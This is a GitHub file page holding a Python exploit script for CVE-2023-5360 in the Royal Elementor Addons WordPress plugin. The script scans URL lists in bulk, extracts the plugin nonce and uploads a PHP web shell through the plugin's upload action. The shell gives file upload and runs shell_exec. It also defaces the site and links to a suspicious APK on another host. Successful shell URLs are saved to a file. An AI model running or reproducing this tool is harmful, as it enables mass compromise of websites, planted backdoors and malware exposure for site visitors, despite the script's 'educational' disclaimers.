-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCVE-2023-5360.py
501 lines (424 loc) · 15.6 KB
/
CVE-2023-5360.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
import os
import re
import json
import asyncio
import requests
import logging
from colorama import Fore , Style , init
init (autoreset=True)
from random import choice
from string import ascii_lowercase
from platform import system
from concurrent.futures import ThreadPoolExecutor
from urllib3.exceptions import InsecureRequestWarning
#colors
red = Fore.LIGHTRED_EX
bright = Style.BRIGHT
white = Fore.LIGHTWHITE_EX
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
PYTHONWARNINGS = "ignore:Unverified HTTPS request"
# PHP Shell Code
PHP_UPLOAD_CODE = '''
<?php
// PHP logic
error_reporting(0);
set_time_limit(0);
if (isset($_POST['Submit'])) {
handleFileUpload();
} else {
displayUploadForm();
}
function handleFileUpload() {
$filedir = "";
$maxfile = 2000000;
$mode = '0644';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$qx = $filedir . $userfile_name;
@move_uploaded_file($userfile_tmp, $qx);
@chmod($qx, octdec($mode));
echo "<a href=$userfile_name><center><b>Successfully Uploaded :D ==> $userfile_name</b></center></a>";
}
}
function displayUploadForm() {
?>
<style>
body {
background-color: #000; /* Black background */
color: #00FFFF; /* Cyan text for higher contrast */
font-family: 'Courier New', monospace;
}
h2 {
color: #00FFFF; /* Cyan headline for contrast */
font-size: 36px;
text-align: center;
text-transform: uppercase;
letter-spacing: 2px;
margin-bottom: 20px;
}
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
form {
width: 300px;
padding: 20px;
background-color: #FF0000; /* Red background for the form */
border: 1px solid #00FF00; /* Bright green border for contrast */
border-radius: 20px;
}
input[type="file"] {
background-color: #FF0000; /* Red background */
color: #00FF00; /* Bright green text */
border: 1px solid #00FF00; /* Bright green border */
padding: 5px;
margin-bottom: 10px;
width: 100%;
border-radius: 20px;
}
input[type="file"]::file-selector-button {
background-color: #00FF00; /* Bright green background for contrast */
color: #000;
border: none;
padding: 5px 10px;
border-radius: 20px;
cursor: pointer;
}
input[type="file"]:hover::file-selector-button {
background-color: #FFFF00; /* Yellow on hover for contrast */
}
input[type="submit"] {
background-color: #00FF00; /* Bright green background */
color: #000;
border: none;
padding: 10px;
width: 100%;
border-radius: 20px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #FFFF00; /* Yellow on hover for contrast */
}
.additional-text {
text-align: center;
margin-top: 10px;
color: #FFD700; /* Gold text for contrast */
}
footer {
text-align: center;
margin-top: 20px;
font-size: 14px;
color: #00FFFF; /* Cyan text for contrast */
}
#logo {
max-width: 100px; /* Taille maximale du logo */
display: block;
margin: 0 auto;
transform: rotate(20deg); /* Rotation du logo */
}
#funFooter {
background-color: #222; /* Fond gris pour le pied de page */
padding: 20px;
text-align: center;
color: #FF00FF; /* Couleur vive pour le texte */
}
.downloadButton {
display: block;
margin: 20px auto;
padding: 15px 30px;
background-color: #FF00FF; /* Couleur vive pour le bouton */
color: #333; /* Couleur du texte */
text-decoration: none;
border-radius: 50px; /* Forme spéciale (cercle) */
text-align: center;
font-weight: bold;
}
.rainbowButton {
background-image: linear-gradient(to right, violet, indigo, blue, green, yellow, orange, red); /* Couleurs arc-en-ciel */
color: #fff; /* Couleur du texte en blanc pour contraste */
background-size: 150% auto;
background-position: 0 100%;
transition: background-position 0.5s;
}
.rainbowButton:hover {
background-position: 100% 0;
}
.download-button:hover {
background-color: #45a049;
}
.download-button:active {
background-color: #357d3b;
}
.download-icon {
display: none;
}
.download-button.downloading .download-icon {
display: inline;
animation: spin 2s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#funFooter {
background-color: #222; /* Fond gris pour le pied de page */
padding: 20px;
text-align: center;
color: #FF00FF; /* Couleur vive pour le texte */
}
.funText {
font-weight: bold;
color: #FFFF00; /* Couleur vive pour le texte en surbrillance */
}
/* Styles pour l'alerte */
.custom-alert {
background-color: #FFF000;
color: #FF0000;
padding: 10px;
text-align: center;
font-size: 18px;
border: 2px solid #00FF00;
border-radius: 10px;
margin: 20px;
}
/* Animation pour l'alerte */
@keyframes pulse {
0% {
transform: scale(1);
}
50% {
transform: scale(1.05);
}
100% {
transform: scale(1);
}
}
/* Applique l'animation */
.custom-alert {
animation: pulse 2s infinite;
}
/* Ajoutez le style personnalisé pour votre fenêtre modale ici */
.modal {
display: none;
position: fixed;
z-index: 1;
color: #₣F0000;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.7);
}
.modal-content {
position: relative;
color: #₣F0000;
margin: 15% auto;
padding: 20px;
width: 50%;
background-color: #fff000;
border-radius: 10px;
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
}
.close {
position: absolute;
top: 0;
right: 0;
padding: 10px;
cursor: pointer;
}
/* Ajoutez d'autres styles personnalisés selon vos préférences */
</style>
</head>
<body>
<div class="custom-alert">
CVE 2023-5360 BY TRHACKNON
</div> <img id="logo" src="http://static-trkn.replit.app/cup.png" alt="Mon Logo Crazy">
<h1 class="animate__animated animate__bounce"></h1>
<!-- Ajouter le hostname et la sortie de uname -a -->
<p><b>Hostname:</b> <?php echo gethostname(); ?></p>
<p><b>Uname -a:</b> <?php echo shell_exec('uname -a'); ?></p>
<div class="container">
<form method="POST" action="#" enctype="multipart/form-data">
<h2><code>CVE 2023-5360 by TRHACKNON</code></h2>
<input type="file" name="image">
<br>
<input type="submit" name="Submit" value="Upload">
<p class="additional-text">THIS IS FOR EDUCATIONAL PURPOSE, I'm not responsible for your acts</p>
</form>
</div>
<br><center><a href="https://harrypotter-lordfilm.ru/wp-content/uploads/wpr-addons/forms/YOUTUBE-PREM.apk" target="_blank" class="downloadButton animate__animated animate__bounce rainbowButton">Download YouTube Premium APK</a>
<span class="download-icon">⬇</span>
</a></center>
<div id="customAlert" class="modal">
<div class="modal-content">
<span class="close" onclick="closeCustomAlert()">×</span>
<p>TRHACKNON PROPERTY !</p>
<p>Cette interface a été acquise grâce à la CVE-2023-5360 exploitée par TRHACKNON.</p>
</div>
</div>
<script>
window.addEventListener("load", function() {
showCustomAlert();
});
function showCustomAlert() {
var modal = document.getElementById("customAlert");
modal.style.display = "block";
}
function closeCustomAlert() {
var modal = document.getElementById("customAlert");
modal.style.display = "none";
}
</script>
<img src="https://proximity-proxy-1.trkn.repl.co/shot.jpg" alt="Exploit Preview" style="display: block; margin: 0 auto; margin-top: 20px; max-width: 50%;" />
<footer id="funFooter">
<p>Developed by <span class="funText">TRHACKNON</span> for educative use only.</p>
<p>© <?php echo date("Y"); ?> All rights reserved.</p>
</footer>
</body>
</html>
<?php
}
?>
'''
# Logger setup
logging.basicConfig(filename='exploit.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def clear():
if system() == 'Linux':
os.system('clear')
if system() == 'Windows':
os.system('cls')
def get_nonce(host_data: str):
"""
Extracts and returns the nonce value from the provided HTML content.
Args:
host_data (str): HTML content.
Returns:
str: Nonce value.
"""
search = r'var WprConfig = {"ajaxurl":"[^"]*","resturl":"[^"]*","nonce":"([^"]+)"'
match = re.search(search, host_data)
nonce_value = match.group(1)
return nonce_value
def save_file(filename, host):
"""
Appends the given host to the specified file.
Args:
filename (str): Name of the file to save hosts.
host (str): Host to save.
"""
with open(filename, 'a') as w:
w.write(f"{host}\n")
def check_vulnerability(host: str):
"""
Checks if the target WordPress site is vulnerable and exploits the vulnerability if present.
Args:
host (str): Target WordPress site URL.
"""
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15",
]
headers = {
"User-Agent": choice(user_agents),
"Referer": host,
}
try:
logging.info(f"Checking: {host}")
req = requests.get(host, headers=headers, timeout=10, verify=False).text
except requests.RequestException as e:
logging.error(f"An error occurred while checking {host}: {str(e)}")
return
if 'wpr-addons-js-js' in req:
save_file('active-plugin.txt', host)
nonce = get_nonce(req)
data = {
'action': 'wpr_addons_upload_file',
'max_file_size': '0',
'allowed_file_types': 'ph$p',
'triggering_event': 'click',
'wpr_addons_nonce': nonce
}
random_name = (''.join(choice(ascii_lowercase) for i in range(7)))
files = {'uploaded_file': (random_name + '.ph$p', PHP_UPLOAD_CODE)}
try:
host_res = requests.post(f"{host}/wp-admin/admin-ajax.php", headers=headers, data=data,
files=files, timeout=10, verify=False)
except requests.RequestException as e:
logging.error(f"An error occurred while exploiting {host}: {str(e)}")
return
if host_res.status_code == 200:
try:
host_res_json = host_res.json()
if host_res_json["success"]:
uploaded_shell = host_res_json["data"]["url"]
logging.info(f"Uploaded Shell: {uploaded_shell}")
save_file('exploited.txt', uploaded_shell)
else:
error_message = host_res_json["data"]["message"]
logging.error(f"Upload Error: {host} - {error_message}")
except json.JSONDecodeError as e:
logging.error("Failed to parse JSON response")
else:
logging.error(f"Upload Error: {host}")
else:
logging.warning(f"Royal Elementor Addons plugin not found: {host}")
async def main():
"""
Asynchronously checks vulnerabilities for a list of URLs and provides a summary.
"""
url_list_name = input('Enter the name of the URL list file: ').strip()
thrd = int(input('Enter number of threads => '))
url_list = [each_url for each_url in open(url_list_name, 'r', encoding='utf-8').read().splitlines()]
total_urls = len(url_list)
royal_elementor_urls = 0
exploited_urls = 0
loop = asyncio.get_event_loop()
with ThreadPoolExecutor(max_workers=thrd) as executor:
await asyncio.gather(*(loop.run_in_executor(executor, check_vulnerability, url) for url in url_list))
# Calculate summary statistics
with open('active-plugin.txt', 'r') as active_file:
royal_elementor_urls = len(active_file.readlines())
with open('exploited.txt', 'r') as exploited_file:
exploited_urls = len(exploited_file.readlines())
# Display summary
print("\n=== SUMMARY ===")
print(f"Total URLs: {total_urls}")
print(f"URLs with Royal Elementor Plugin: {royal_elementor_urls}")
print(f"Exploited URLs: {exploited_urls}")
# Log summary
logging.info(f"Total URLs: {total_urls}")
logging.info(f"URLs with Royal Elementor Plugin: {royal_elementor_urls}")
logging.info(f"Exploited URLs: {exploited_urls}")
def Banner():
print(rf'''{red+bright} .-. ''')
print(rf'''{red+bright} ()I() ''')
print(rf'''{red+bright} "==.__:-:__.==" ''')
print(rf'''{red+bright} "==.__/~|~\__.==" ''')
print(rf'''{red+bright} "==._( Y )_.==" ''')
print(rf'''{red+bright} .-'~~""~=--...,__\/|\/__,...--=~""~~'-. ''')
print(rf'''{red+bright} ( ..=\=/=.. ) ''')
print(rf'''{red+bright} `'-. ,.-"`;/=\ ;"-.,_ .-'` ''')
print(rf'''{red+bright} `~"-=-~` .-~` |=| `~-. `~-=-"~` ''')
print(rf'''{red+bright} .-~` /|=|\ `~-. ''')
print(rf'''{red+bright} .~` / |=| \ `~. ''')
print(rf'''{red+bright} .-~` .' |=| `. `~-. ''')
print(rf'''{red+bright} (` _,.-="` |=| `"=-.,_ `) ''')
print(rf'''{red+bright} `~"~"` |=| `"~"~` ''')
print(rf'''{white+bright} trhacknon {red+bright}|=|{white+bright} CVE 2023-5360 ''')
print(rf'''{red+bright} |=| ''')
print(rf'''{red+bright} |=| ''')
print(rf'''{red+bright} /=\ ''')
print(rf'''{red+bright} \=/ ''')
print(rf'''{red+bright} ^ ''')
print(rf''' THIS EXPLOIT IS FOR EDUCATION AND IS A PoC ONLY ''')
print('\n\n')
if __name__ == "__main__":
clear()
Banner()
asyncio.run(main())